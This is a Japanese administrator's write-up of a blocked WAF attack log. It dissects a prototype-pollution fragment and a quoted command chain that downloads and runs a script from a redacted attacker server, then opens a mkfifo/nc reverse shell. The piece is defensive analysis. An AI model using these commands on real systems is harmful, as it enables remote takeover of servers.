2025年12月末、筆者が検知する管理サーバにて検知された高スコア(Anomaly Score: 78)の攻撃ログです。現代的な脆弱性を複合的に狙った、非常に教育的(サンプルとして優秀)なログとして記録します。
検知ログの概要(匿名化済み)
[ModSecurity: Access denied with code 403 (phase 2)]
[Inbound Anomaly Score Exceeded (Total Score: 78)]
[Severity: CRITICAL]
[Attack breakdown]:
- RCE (Remote Code Execution): 65
- SQLI (SQL Injection): 5
- LFI (Local File Inclusion): 5
- COMBINED_SCORE: 78
攻撃ペイロードの構造解析
攻撃者はJSONオブジェクトに偽装したパケットを送りつけ、以下の多層的なエクスプロイトを試みていました。
プロトタイプ汚染(Prototype Pollution)
"__proto__": { "then": "$1:__proto__:then" }
これは近年のモダンなWebサーバ。Next.js / Node.js等の環境において、オブジェクトの基本プロトタイプを書き換え、アプリケーション全体の挙動を制御しようとする試みです。
OSコマンド注入(Remote Code Execution)
JSONの内部に、バックドアを構築するためのOSコマンドが多重に仕込まれていました。(RCE攻撃)
# 攻撃者が意図した処理(推定)
cd /tmp;
wget -O /tmp/x.sh http://[REDACTED_ATTACKER_SERVER]/weball.sh; # 攻撃スクリプトの取得
chmod +x /tmp/x.sh;
sh /tmp/x.sh; # 実行
mkfifo /tmp/f;
cat /tmp/f | /bin/sh -i 2>&1 | nc [REDACTED_IP] [PORT] > /tmp/f; # リバースシェルの確立
3. 防御側の対応と結果
とはいえ、この手の防御はしっかりとWAFが検知していました。
- 検知: ModSecurity(OWASP CRS)により、JSON構造内の不審なシグネチャを即座に捕捉。
- 判定: 異常スコア 78。防御しきい値(通常5)を大幅に超過。
- 結果: アプリケーション層に到達する前にApacheが通信を遮断し、404 Not Found(403から偽装応答)を返却。サーバへの影響はありませんでした。
解説メモ
この攻撃は、ターゲットが特定のフレームワーク(Node.jsや特定のJSONパーサ)を使用していることを期待した「下手な鉄砲も数撃ちゃ当たる」式の乱射ですが、その内容はRCEを主軸とした極めて悪質なものです。
しかし、堅牢なWAF設定とIP遮断フィルタの前では、これほど複雑に組み上げられたペイロードも、「500バイト程度の無意味な文字列」に成り下がります。
漫画『ONE OUTS』にも引き合いに出された
「『いい鉄砲は打ち手を選ぶ』ってことわざ知ってるか?
威力のある鉄砲は その分扱いも難しく危険
だから未熟者が使うと打ち手の方がケガをするってことさ」
が自分へ向かうことのないよう、日々、管理/監視を怠らないようにする必要があると知った出来事でした。